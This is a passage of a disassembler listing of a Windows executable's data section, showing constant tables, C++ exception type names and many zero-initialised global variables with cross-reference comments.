		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43C1F0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_4220C1+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43C34C	dd offset off_424D00	; DATA XREF: ___:00424EDCo
					; ___:00424FC8o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43C364	dd offset off_424D00	; DATA XREF: ___:off_424D90o
					; ___:00424DD0o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43C384	dd offset off_424D00	; DATA XREF: ___:off_424DD8o
					; ___:00424E1Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
		dd offset off_424D00
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 8
off_43C3C8	dd offset off_424D00	; DATA XREF: ___:00424EACo
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42086E
		align 8
byte_43C3E8	db 0			; DATA XREF: sub_40144A+1D3w
					; sub_40144A+2D2o
		align 2
word_43C3EA	dw 0			; DATA XREF: sub_40144A+1E3w
word_43C3EC	dw 0			; DATA XREF: sub_40144A+1E9w
word_43C3EE	dw 0			; DATA XREF: sub_40144A+1F0w
byte_43C3F0	db 0			; DATA XREF: sub_40144A+1F7w
byte_43C3F1	db 0			; DATA XREF: sub_40144A+1FEw
word_43C3F2	dw 0			; DATA XREF: sub_40144A+204w
dword_43C3F4	dd 0			; DATA XREF: sub_40144A+234w
					; sub_40144A+250w
dword_43C3F8	dd 0			; DATA XREF: sub_40144A+258w
byte_43C3FC	db 0			; DATA XREF: sub_40144A+26Aw
byte_43C3FD	db 0			; DATA XREF: sub_40144A+27Dw
word_43C3FE	dw 0			; DATA XREF: sub_40144A+295w
word_43C400	dw 0			; DATA XREF: sub_40144A+2A4w
word_43C402	dw 0			; DATA XREF: sub_40144A+29Cw
dword_43C404	dd 101h	dup(0)		; DATA XREF: sub_40144A+2B9o
dword_43C808	dd 0			; DATA XREF: sub_4029E9+9Eo
byte_43C80C	db 0			; DATA XREF: sub_4029E9+36r
					; sub_402ACC+37r ...
		align 10h
dword_43C810	dd 0			; DATA XREF: sub_4030D1+10w
					; sub_4030E8+30r ...
		dd 2 dup(0)
dword_43C81C	dd 2 dup(0)		; DATA XREF: sub_403EBA+68o
dword_43C824	dd 0			; DATA XREF: sub_40395A+13o
					; sub_40EE72+610Do ...
dword_43C828	dd 0			; DATA XREF: sub_404853+8w
					; ___:00404C22o
		align 10h
dword_43C830	dd 2 dup(0)		; DATA XREF: ___:00404B58o
dword_43C838	dd 0			; DATA XREF: sub_4059DB+2Aw
					; sub_4059DB+51r ...
dword_43C83C	dd 0			; DATA XREF: sub_4030E8+AEr
					; ___:004042D4r ...
		dd 2 dup(0)
dword_43C848	dd 0			; DATA XREF: sub_4071DB+18r
					; sub_40762E+92w ...
dword_43C84C	dd 0			; DATA XREF: sub_407767+4Dr
					; sub_40797F+D9w ...
		dd 3E6h	dup(0)
dword_43D7E8	dd 6 dup(0)		; DATA XREF: sub_407767+D2o
					; sub_407767+13Bo ...
dword_43D800	dd 0			; DATA XREF: sub_407252+82w
					; sub_407252+102o
dword_43D804	dd 41h dup(0)		; DATA XREF: sub_407252+41o
dword_43D908	dd 41h dup(0)		; DATA XREF: sub_407252+63o
dword_43DA0C	dd 0			; DATA XREF: sub_407252+F8w
					; sub_407252+114r
dword_43DA10	dd 0			; DATA XREF: sub_407252+52w
dword_43DA14	dd 0			; DATA XREF: sub_407252+4Dw
					; sub_407252+CFr
dword_43DA18	dd 20h dup(0)		; DATA XREF: sub_407252+9Ao
					; sub_407252+BAo
dword_43DA98	dd 0			; DATA XREF: sub_407252+8Fw
dword_43DA9C	dd 0			; DATA XREF: sub_407252+A7w
					; sub_407252+C7w
dword_43DAA0	dd 0			; DATA XREF: sub_407252:loc_40737Cr
		align 8
dword_43DAA8	dd 0			; DATA XREF: sub_407252+2D5w
					; sub_407252+32Eo
dword_43DAAC	dd 0A2h	dup(0)		; DATA XREF: sub_407252+2C3o
dword_43DD34	dd 41h dup(0)		; DATA XREF: sub_407252+28Do
dword_43DE38	dd 0			; DATA XREF: sub_407252+2BAw
					; sub_407252+2E1r
		align 10h
dword_43DE40	dd 0			; DATA XREF: sub_407252+324w
					; sub_407252+340r
dword_43DE44	dd 0			; DATA XREF: sub_407252+2E7w
dword_43DE48	dd 0			; DATA XREF: sub_407252+2F4w
dword_43DE4C	dd 0			; DATA XREF: sub_407252+2B4w
		dd 0
dword_43DE54	dd 0			; DATA XREF: sub_407252:loc_4075A8r
dword_43DE58	dd 0			; DATA XREF: sub_407252+1A1w
					; sub_407252+221o
dword_43DE5C	dd 41h dup(0)		; DATA XREF: sub_407252+163o
dword_43DF60	dd 41h dup(0)		; DATA XREF: sub_407252+182o
dword_43E064	dd 0			; DATA XREF: sub_407252+217w
					; sub_407252+233r
dword_43E068	dd 0			; DATA XREF: sub_407252+171w
dword_43E06C	dd 0			; DATA XREF: sub_407252+1EEr
dword_43E070	dd 20h dup(0)		; DATA XREF: sub_407252+1B9o
					; sub_407252+1D9o
dword_43E0F0	dd 0			; DATA XREF: sub_407252+1AEw
dword_43E0F4	dd 0			; DATA XREF: sub_407252+1C6w
					; sub_407252+1E6w
dword_43E0F8	dd 0			; DATA XREF: sub_407252:loc_40749Cr
		align 10h
dword_43E100	dd 0			; DATA XREF: sub_4087EE+Fr
					; sub_4089E7+12r
		align 8
dword_43E108	dd 80h dup(0)		; DATA XREF: sub_409706+41o
dword_43E308	dd 200h	dup(0)		; DATA XREF: sub_409037+C7o
					; sub_409392+DDo ...
dword_43EB08	dd 200h	dup(0)		; DATA XREF: sub_409037+D6o
					; sub_409392+F4o ...
dword_43F308	dd 0			; DATA XREF: sub_409037+86w
					; sub_409209+94r
dword_43F30C	dd 0			; DATA XREF: sub_409037+A7w
					; sub_40966F+55r ...
dword_43F310	dd 0			; DATA XREF: sub_409037+A0w
					; sub_409209+D6r ...
dword_43F314	dd 0			; DATA XREF: sub_409037+79w
					; sub_409209+35r ...
dword_43F318	dd 80h dup(0)		; DATA XREF: sub_40966F+5Eo
dword_43F518	dd 0			; DATA XREF: sub_409037+93w
					; sub_409209+A2r
		align 10h
dword_43F520	dd 0			; DATA XREF: sub_409037+E7o
					; sub_409037+103r ...
dword_43F524	dd 0			; DATA XREF: sub_409392+17Bw
					; sub_409539+107w
dword_43F528	dd 0			; DATA XREF: sub_409392+180w
					; sub_409539+10Dw ...
dword_43F52C	dd 0			; DATA XREF: sub_409392+159w
					; sub_40966F+4Fr
dword_43F530	dd 0			; DATA XREF: sub_4085B3+210r
					; sub_4085B3+21Ar ...
dword_43F534	dd 0			; DATA XREF: sub_40981F+65w
					; sub_41518A+F5r
dword_43F538	dd 0			; DATA XREF: sub_40981F+7EDw
					; sub_40981F+862r ...
dword_43F53C	dd 0			; DATA XREF: sub_40981F+9BAw
					; sub_40981F+A18r ...
dword_43F540	dd 0			; DATA XREF: sub_40981F+96Cw
					; sub_40981F+9E8r ...
dword_43F544	dd 0			; DATA XREF: sub_4085B3+D1r
					; sub_40981F+46Fw ...
dword_43F548	dd 0			; DATA XREF: sub_4023A7+ECr
					; sub_4023A7+109r ...
dword_43F54C	dd 0			; DATA XREF: sub_40981F+9ADw
					; sub_40981F+A10r ...
dword_43F550	dd 0			; DATA XREF: sub_40981F+354w
					; sub_40981F+3A9r ...
dword_43F554	dd 0			; DATA XREF: sub_40981F+3F1w
					; sub_40B8D8+11Er
dword_43F558	dd 0			; DATA XREF: sub_40981F+361w
					; sub_40981F+3B1r ...
dword_43F55C	dd 0			; DATA XREF: sub_40981F+3A2w
					; sub_40DCE6+ADr
dword_43F560	dd 0			; DATA XREF: sub_405AF2+115r
					; sub_4084B3+7Dr ...
dword_43F564	dd 0			; DATA XREF: sub_40981F+72w
					; sub_40981F+D2r ...
dword_43F568	dd 0			; DATA XREF: sub_40981F+95Fw
					; sub_40981F+9DBr ...
dword_43F56C	dd 0			; DATA XREF: sub_40981F+388w
					; sub_40981F+3C9r ...
dword_43F570	dd 0			; DATA XREF: sub_40981F+83Bw
					; sub_40981F+88Er ...
dword_43F574	dd 0			; DATA XREF: sub_408C26+58r
					; sub_40981F+2A5w ...
dword_43F578	dd 0			; DATA XREF: sub_40981F+82Ew
					; sub_40981F+886r ...
dword_43F57C	dd 0			; DATA XREF: sub_40981F+B3w
dword_43F580	dd 0			; DATA XREF: sub_40981F+848w
					; sub_40981F+896r ...
dword_43F584	dd 0			; DATA XREF: sub_407BDE+7Er
					; sub_40981F+52Fw ...
dword_43F588	dd 0			; DATA XREF: sub_40981F+58w
					; sub_40981F+CAr ...
dword_43F58C	dd 0			; DATA XREF: sub_40981F+916w
					; sub_40AF86+11Ar
dword_43F590	dd 0			; DATA XREF: sub_40981F+A66w
					; sub_40981F+A6Dr ...
dword_43F594	dd 0			; DATA XREF: sub_40981F+A6w
					; sub_40981F+F2r
dword_43F598	dd 0			; DATA XREF: sub_4085B3+119r
					; sub_40981F+462w ...
dword_43F59C	dd 0			; DATA XREF: sub_4075E6+20r
					; sub_40981F+5D8w
dword_43F5A0	dd 0			; DATA XREF: sub_40981F+9A0w
					; sub_40981F+A08r
dword_43F5A4	dd 0			; DATA XREF: sub_402688+280r
					; sub_40981F+5CBw ...
dword_43F5A8	dd 0			; DATA XREF: sub_402ACC+9Ar
					; sub_40981F+B21w
dword_43F5AC	dd 0			; DATA XREF: sub_40981F+7E0w
					; sub_40981F+84Fr ...
dword_43F5B0	dd 0			; DATA XREF: sub_40981F+1B3w
					; sub_40AC20+15r
dword_43F5B4	dd 0			; DATA XREF: sub_40981F+979w
					; sub_40981F+9F0r ...
dword_43F5B8	dd 0			; DATA XREF: sub_40981F+36Ew
					; sub_40981F+3B9r ...
dword_43F5BC	dd 0			; DATA XREF: sub_40981F+37Bw
					; sub_40981F+3C1r ...
dword_43F5C0	dd 0			; DATA XREF: sub_4087EE+28r
					; sub_4089E7+2Br ...
dword_43F5C4	dd 0			; DATA XREF: sub_40981F+68Ew
					; ___:00415550r
dword_43F5C8	dd 0			; DATA XREF: sub_4010B5:loc_4013E0r
					; sub_401A76:loc_401D1Cr ...
dword_43F5CC	dd 0			; DATA XREF: sub_4085B3+207r
					; sub_40981F+496w
dword_43F5D0	dd 0			; DATA XREF: sub_40981F+9C7w
					; sub_40981F+A20r ...
dword_43F5D4	dd 0			; DATA XREF: sub_40981F+2B2w
					; sub_40981F+2DEr ...
dword_43F5D8	dd 0			; DATA XREF: sub_40981F+7Fw
					; sub_40981F+DAr ...
dword_43F5DC	dd 0			; DATA XREF: sub_40981F+B6Ew
					; sub_40981F+B75r ...
dword_43F5E0	dd 0			; DATA XREF: sub_4010B5+2Fr
					; sub_401A76+2Fr ...
dword_43F5E4	dd 0			; DATA XREF: sub_40981F+807w
					; sub_40981F+872r ...
dword_43F5E8	dd 0			; DATA XREF: sub_40981F+986w
					; sub_40981F+9F8r
dword_43F5EC	dd 0			; DATA XREF: sub_40981F+BDFw
					; sub_40981F+C10r
dword_43F5F0	dd 0			; DATA XREF: sub_4023A7+40r
					; sub_4023A7+63r ...
dword_43F5F4	dd 0			; DATA XREF: sub_40981F+8FCw
					; sub_40981F+910r ...
dword_43F5F8	dd 0			; DATA XREF: sub_40981F+BF9w
dword_43F5FC	dd 0			; DATA XREF: sub_4010B5:loc_4013AAr
					; sub_40144A+3Cr ...
dword_43F600	dd 0			; DATA XREF: sub_40981F+821w
					; sub_40981F+855r
dword_43F604	dd 0			; DATA XREF: sub_4023A7+50r
					; sub_4023A7+78r ...
dword_43F608	dd 0			; DATA XREF: sub_4087EE+3Fr
					; sub_4087EE+69r ...
dword_43F60C	dd 0			; DATA XREF: sub_40981F+65Aw
					; sub_40981F+786r ...
dword_43F610	dd 0			; DATA XREF: sub_402DD7+20Ar
					; sub_4030E8+5Er ...
dword_43F614	dd 0			; DATA XREF: sub_402688+16Er
					; sub_40981F+549w ...
dword_43F618	dd 0			; DATA XREF: sub_40981F+8BDw
					; sub_40981F:loc_40A0FAw ...
dword_43F61C	dd 0			; DATA XREF: sub_40981F+28Bw
					; sub_40981F+2C6r ...
dword_43F620	dd 0			; DATA XREF: ___:00407DFEr
					; sub_40981F+681w ...
dword_43F624	dd 0			; DATA XREF: sub_40981F+30Fw
					; sub_40981F+323r ...
dword_43F628	dd 0			; DATA XREF: sub_40981F+395w
					; sub_40981F+3D1r ...
dword_43F62C	dd 0			; DATA XREF: sub_40981F+BD2w
					; sub_40981F+C08r
dword_43F630	dd 0			; DATA XREF: sub_40981F+7FAw
					; sub_40981F+86Ar ...
dword_43F634	dd 0			; DATA XREF: sub_4023A7+FCr
					; sub_40981F+206w ...
dword_43F638	dd 0			; DATA XREF: sub_40981F+18Cw
					; sub_40981F+1D2r ...
dword_43F63C	dd 0			; DATA XREF: sub_40981F+814w
					; sub_40981F+87Ar ...
dword_43F640	dd 0			; DATA XREF: sub_406C19+244r
					; sub_40981F+606w ...
dword_43F644	dd 0			; DATA XREF: sub_408C26+18Ar
					; sub_40981F+2BFw ...
dword_43F648	dd 0			; DATA XREF: sub_4010B5+6Fr
					; sub_40144A+AAr ...
dword_43F64C	dd 0			; DATA XREF: sub_40981F+302w
					; sub_40981F+316r ...
dword_43F650	dd 0			; DATA XREF: sub_405AF2+F9r
					; sub_406C19+1FCr ...
dword_43F654	dd 0			; DATA XREF: sub_4085B3+16r
					; sub_40981F+42Ew ...
dword_43F658	dd 0			; DATA XREF: sub_40981F+199w
					; sub_40981F+1DAr ...
dword_43F65C	dd 0			; DATA XREF: sub_40981F+347w
					; sub_40981F+39Cr ...
dword_43F660	dd 0			; DATA XREF: sub_40981F+A73w
dword_43F664	dd 0			; DATA XREF: sub_4010B5+EBr
					; sub_4010B5+1F9r ...
dword_43F668	dd 0			; DATA XREF: sub_4010B5+87r
					; sub_4010B5+9Dr ...
dword_43F66C	dd 0			; DATA XREF: sub_40981F+4Bw
					; sub_40981F+C2r ...
dword_43F670	dd 0			; DATA XREF: sub_4085B3+2Cr
					; sub_4085B3+38r ...
dword_43F674	dd 0			; DATA XREF: sub_40981F+165w
					; sub_40981F+1BAr ...
dword_43F678	dd 0			; DATA XREF: sub_40981F+9E1w
					; sub_40E5EB+72r
dword_43F67C	dd 0			; DATA XREF: sub_40981F+667w
					; sub_40981F+78Er
dword_43F680	dd 0			; DATA XREF: sub_402688+205r
					; sub_402DD7+23Br ...
dword_43F684	dd 0			; DATA XREF: sub_40981F+BECw
					; sub_40981F+C18r
dword_43F688	dd 0			; DATA XREF: sub_40981F+3Ew
					; sub_40981F+BAr ...
dword_43F68C	dd 0			; DATA XREF: sub_40981F+298w
					; sub_40981F+2CEr ...
dword_43F690	dd 0			; DATA XREF: sub_405AF2+9Er
					; sub_407BDE+9Cr ...
dword_43F694	dd 0			; DATA XREF: sub_402688+EBr
					; sub_405AF2+89r ...
dword_43F698	dd 0			; DATA XREF: sub_40981F+C63w
					; sub_40EE72+4626r
dword_43F69C	dd 0			; DATA XREF: sub_40981F+85Bw
					; sub_40BC4B+205r ...
dword_43F6A0	dd 0			; DATA XREF: sub_40981F+112w
dword_43F6A4	dd 0			; DATA XREF: sub_40981F+BB8w
					; sub_40981F+BF3r
dword_43F6A8	dd 0			; DATA XREF: sub_40144A+119r
					; sub_40144A+1A0r ...
dword_43F6AC	dd 0			; DATA XREF: sub_4085B3+BCr
					; sub_40981F+43Bw ...
dword_43F6B0	dd 0			; DATA XREF: sub_4085B3+FBr
					; sub_40981F+47Cw ...
dword_43F6B4	dd 0			; DATA XREF: sub_4085B3+65r
					; sub_40981F+448w ...
dword_43F6B8	dd 0			; DATA XREF: sub_402DD7+221r
					; sub_402DD7+249r ...
dword_43F6BC	dd 0			; DATA XREF: sub_40981F+1A6w
					; sub_40981F+1E2r ...
dword_43F6C0	dd 0			; DATA XREF: sub_40981F+9D4w
					; sub_40981F+A28r ...
dword_43F6C4	dd 0			; DATA XREF: sub_4087EE+53r
					; sub_4087EE+7Fr ...
dword_43F6C8	dd 0			; DATA XREF: sub_40981F+8Cw
					; sub_40981F+E2r ...
dword_43F6CC	dd 0			; DATA XREF: sub_4010B5+2C2r
					; sub_40144A+2DAr ...
dword_43F6D0	dd 0			; DATA XREF: sub_40981F+B14w
					; sub_40981F+B30r
dword_43F6D4	dd 0			; DATA XREF: sub_40981F+31Cw
					; sub_41511F+55r
dword_43F6D8	dd 0			; DATA XREF: sub_408C26+3Fr
					; sub_40981F+27Ew ...
dword_43F6DC	dd 0			; DATA XREF: sub_40981F+B7Bw
dword_43F6E0	dd 0			; DATA XREF: sub_40981F+ABDw
					; sub_40AE02+CEr
dword_43F6E4	dd 0			; DATA XREF: sub_40981F+AB0w
					; sub_40981F+AB7r ...
dword_43F6E8	dd 0			; DATA XREF: sub_40144A+2Er
					; sub_401D82+55r ...
dword_43F6EC	dd 0			; DATA XREF: ___:00407DEEr
					; sub_40981F+674w ...
dword_43F6F0	dd 0			; DATA XREF: sub_40981F+BC5w
					; sub_40981F+C00r
dword_43F6F4	dd 0			; DATA XREF: sub_402688+28Dr
					; sub_406C19+250r ...
dword_43F6F8	dd 0			; DATA XREF: sub_40981F+993w
					; sub_40981F+A00r ...
dword_43F6FC	dd 0			; DATA XREF: sub_405AF2+13Ar
					; sub_407BDE+B3r ...
dword_43F700	dd 0			; DATA XREF: sub_4010B5+324r
					; sub_40144A+2F0r ...
dword_43F704	dd 0			; DATA XREF: sub_405AF2+B7r
					; sub_405AF2+39Fr ...
dword_43F708	dd 0			; DATA XREF: sub_4029E9+B0r
					; sub_4029E9+C8r ...
dword_43F70C	dd 0			; DATA XREF: sub_4010B5+4Fr
					; sub_401A76+4Fr ...
dword_43F710	dd 0			; DATA XREF: sub_40981F+AFAw
					; sub_40981F+B1Br
dword_43F714	dd 0			; DATA XREF: sub_40981F+31w
					; sub_40981F+ADr ...
dword_43F718	dd 0			; DATA XREF: sub_4087EE+1ECr
					; sub_4089E7+232r ...
		align 10h
dword_43F720	dd 0			; DATA XREF: sub_40981F+909w
					; sub_40981F+91Dr ...
dword_43F724	dd 0			; DATA XREF: sub_40981F+99w
					; sub_40981F+EAr ...
dword_43F728	dd 0			; DATA XREF: sub_40981F:loc_40991Dw
					; sub_40981F+12Bw ...
dword_43F72C	dd 0			; DATA XREF: sub_40981F+126w
					; sub_40A4AC+1Cr
dword_43F730	dd 0			; DATA XREF: sub_40981F:loc_409A0Dw
					; sub_40981F:loc_409A74w ...
dword_43F734	dd 0			; DATA XREF: sub_40981F+250w
					; sub_40A4AC+50r
dword_43F738	dd 0			; DATA XREF: sub_40981F:loc_409B09w
					; sub_40981F:loc_409B4Ew ...
dword_43F73C	dd 0			; DATA XREF: sub_40981F+400w
					; sub_40A4AC+84r
dword_43F740	dd 0			; DATA XREF: sub_40981F:loc_409D05w
					; sub_40A4AC:loc_40A55Cr
dword_43F744	dd 0			; DATA XREF: sub_40981F+4E1w
					; sub_40A4AC+B8r
dword_43F748	dd 0			; DATA XREF: sub_40981F:loc_409FD6w
					; sub_40A4AC:loc_40A590r
dword_43F74C	dd 0			; DATA XREF: sub_40981F+7B2w
					; sub_40A4AC+ECr
dword_43F750	dd 0			; DATA XREF: sub_40981F:loc_40A0C1w
					; sub_40981F+8D1w ...
dword_43F754	dd 0			; DATA XREF: sub_40981F+8CCw
					; sub_40A4AC+120r
dword_43F758	dd 0			; DATA XREF: sub_40981F:loc_40A155w
					; sub_40A4AC:loc_40A5F8r ...
dword_43F75C	dd 0			; DATA XREF: sub_40981F+931w
					; sub_40A4AC+154r
dword_43F760	dd 0			; DATA XREF: sub_40981F:loc_40A260w
					; sub_40A4AC:loc_40A62Cr ...
dword_43F764	dd 0			; DATA XREF: sub_40981F+A3Cw
					; sub_40A4AC+188r
dword_43F768	dd 0			; DATA XREF: sub_40981F:loc_40A2AAw
					; sub_40A4AC:loc_40A660r
dword_43F76C	dd 0			; DATA XREF: sub_40981F+A86w
					; sub_40A4AC+1BCr
dword_43F770	dd 0			; DATA XREF: sub_40981F:loc_40A2F4w
					; sub_40A4AC:loc_40A694r
dword_43F774	dd 0			; DATA XREF: sub_40981F+AD0w
					; sub_40A4AC+1F0r
dword_43F778	dd 0			; DATA XREF: sub_40981F:loc_40A368w
					; sub_40A4AC:loc_40A6C8r
dword_43F77C	dd 0			; DATA XREF: sub_40981F+B44w
					; sub_40A4AC+224r
dword_43F780	dd 0			; DATA XREF: sub_40981F:loc_40A3B2w
					; sub_40A4AC:loc_40A6FCr
dword_43F784	dd 0			; DATA XREF: sub_40981F+B8Ew
					; sub_40A4AC+258r
dword_43F788	dd 0			; DATA XREF: sub_40981F:loc_40A450w
					; sub_40A4AC:loc_40A730r
dword_43F78C	dd 0			; DATA XREF: sub_40981F+C2Cw
					; sub_40A4AC+28Cr
dword_43F790	dd 0			; DATA XREF: sub_40981F:loc_40A49Aw
					; sub_40A4AC:loc_40A764r
dword_43F794	dd 0			; DATA XREF: sub_40981F+C76w
					; sub_40A4AC+2C0r
dword_43F798	dd 81h dup(0)		; DATA XREF: sub_40AA35+6Ao
dword_43F99C	dd 5 dup(0)		; DATA XREF: sub_40AEE0+32o
dword_43F9B0	dd 0			; DATA XREF: sub_40B328:loc_40B349r
					; sub_40B417+54r ...
dword_43F9B4	dd 0			; DATA XREF: sub_40B328r
					; sub_40B417+37r ...
dword_43F9B8	dd 0			; DATA XREF: sub_40B358+1Ar
					; sub_40B56C+83o
dword_43F9BC	dd 0			; DATA XREF: sub_40B328:loc_40B33Cr
					; sub_40B56C+11Bw
dword_43F9C0	dd 0Dh dup(0)		; DATA XREF: sub_40B417+13o
					; sub_40B56C:loc_40B6A9o
dword_43F9F4	dd 0			; DATA XREF: sub_40B417+CDr
					; sub_40B417+ECr ...
		dd 0
dword_43F9FC	dd 0Eh dup(0)		; DATA XREF: sub_40B721+47o
dword_43FA34	dd 1000h dup(0)		; DATA XREF: sub_40BF6D+1Do
					; sub_40C00Do ...
dword_443A34	dd 0			; DATA XREF: sub_40BF6D+13o
					; sub_40C00D+Eo ...
dword_443A38	dd 0Eh dup(0)		; DATA XREF: sub_40D01A+Fo
dword_443A70	dd 2 dup(0)		; DATA XREF: sub_40D3A5+C8o
dword_443A78	dd 17h dup(0)		; DATA XREF: sub_40D835:loc_40D952o
					; sub_40D835+131o ...
dword_443AD4	dd 80h dup(0)		; DATA XREF: sub_40E5EB+7Co
					; sub_40E5EB+A5o
dword_443CD4	dd 0			; DATA XREF: sub_40DBB0+45w
					; sub_40DBB0+4Dr ...
dword_443CD8	dd 17h dup(0)		; DATA XREF: sub_40E4B7:loc_40E5D9o
					; sub_40E4B7+12Do
dword_443D34	dd 80h dup(0)		; DATA XREF: sub_40DAF0+4Co
					; sub_40DAF0+7Eo ...
byte_443F34	db 0			; DATA XREF: sub_40DBB0+29r
					; sub_40DBB0+34w
		align 4
dword_443F38	dd 80h dup(0)		; DATA XREF: sub_40DE07+61o
					; sub_40DE07+89o ...
dword_444138	dd 82h dup(0)		; DATA XREF: sub_40D719:loc_40D751o
					; sub_40D719+5Bo
dword_444340	dd 0			; DATA XREF: sub_40BE75+Ao
					; sub_40BE75+44r ...
		dd 5 dup(0)
dword_444358	dd 0			; DATA XREF: sub_40BE75+60r
					; sub_40EE72+BD6r
		dd 2D9h	dup(0)
dword_444EC0	dd 0			; DATA XREF: sub_407767+A8r
					; sub_40BE75+2Do ...
		dd 7Fh dup(0)
dword_4450C0	dd 0			; DATA XREF: sub_416D5C+41w
					; sub_416E97+40w ...
dword_4450C4	dd 0			; DATA XREF: sub_4060D0+23Bw
					; sub_407767:loc_4077AEr ...
dword_4450C8	dd 0			; DATA XREF: sub_40B56C+164w
					; sub_416810+AEw ...
dword_4450CC	dd 0			; DATA XREF: sub_402688+E0w
					; sub_405AF2+7Ew ...
dword_4450D0	dd 0			; DATA XREF: ___:00407E84w
					; ___:00407FA0r ...
dword_4450D4	dd 0			; DATA XREF: sub_4060D0+268w
					; sub_407252+122w ...
byte_4450D8	db 0			; DATA XREF: sub_40EB92+91o
					; sub_40EE72+3359r ...
		align 4
		dd 19Dh	dup(0)
dword_445750	dd 29F6h dup(0)		; DATA XREF: ___:off_42A2D0o
		db 3 dup(0)
byte_44FF2B	db 0			; DATA XREF: Themida_:004F9755o
		dd 48h dup(0)
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:0042CCA8o
dword_450050	dd 0E700h dup(0)
dword_489C50	dd 0			; DATA XREF: sub_407110:loc_40717Er
					; ___:0040E6E3w ...
		align 8
dword_489C58	dd 0			; DATA XREF: ___:loc_40EAA4o
dword_489C5C	dd 20h dup(0)		; DATA XREF: ___:0040EA3Co
					; ___:0040EAF5o ...
dword_489CDC	dd 10h dup(0)		; DATA XREF: ___:0040EA53o
					; sub_40EE72+929o
dword_489D1C	dd 24h dup(0)		; DATA XREF: ___:0040EA6Ao
dword_489DAC	dd 0			; DATA XREF: ___:0040EA5Ew
					; ___:0040EB0Cw ...
dword_489DB0	dd 0			; DATA XREF: ___:0040EA7Dw
		align 10h
dword_489DC0	dd 0			; DATA XREF: sub_40EB92+72r
					; sub_40EE72+273r
		align 8
byte_489DC8	db 0			; DATA XREF: sub_40ECFA+28r
					; sub_40ECFA+30o
		align 4
dword_489DCC	dd 0			; DATA XREF: ___:0040EAA9w
					; ___:0040EAC0r ...
dword_489DD0	dd 0			; DATA XREF: ___:0040EA41w
					; sub_40EE72+8CAr
		dd 2 dup(0)
dword_489DDC	dd 0			; DATA XREF: ___:004155C6r
		dd 0
dword_489DE4	dd 1Bh dup(0)		; DATA XREF: sub_415D6A+8Do
dword_489E50	dd 0			; DATA XREF: sub_416FA4+16o
					; sub_416FC3+19o
dword_489E54	dd 65h dup(0)		; DATA XREF: sub_416F57+3Do
byte_489FE8	db 0			; DATA XREF: sub_416C55+6Ar
					; sub_416C55+98w
		align 4
		dd 2 dup(0)
dword_489FF4	dd 0			; DATA XREF: sub_417D73+Aw
dword_489FF8	dd 0			; DATA XREF: sub_4186B1+5Er
					; sub_4186B1+A4w
		align 10h
word_48A000	dw 0			; DATA XREF: sub_4186B1+55r
					; sub_4186B1+9Ao
word_48A002	dw 0			; DATA XREF: sub_4186B1+48r
		db 2 dup(0)
word_48A006	dw 0			; DATA XREF: sub_4186B1+3Br
word_48A008	dw 0			; DATA XREF: sub_4186B1+2Er
word_48A00A	dw 0			; DATA XREF: sub_4186B1+21r
		align 10h
dword_48A010	dd 0			; DATA XREF: sub_418B6E+3Br
					; sub_418B6E+91w
dword_48A014	dd 0			; DATA XREF: sub_418833+1B9w
					; sub_418D0E:loc_418D8Aw ...
dword_48A018	dd 0			; DATA XREF: sub_4197F9+35w
					; sub_41A6B7:loc_41A751w ...
dword_48A01C	dd 0			; DATA XREF: sub_41FEC6+13Ar
		dd 0A28h, 501h,	5, 1
dword_48A030	dd 1			; DATA XREF: ___:loc_40E98Cr
					; ___:0041F2D1w
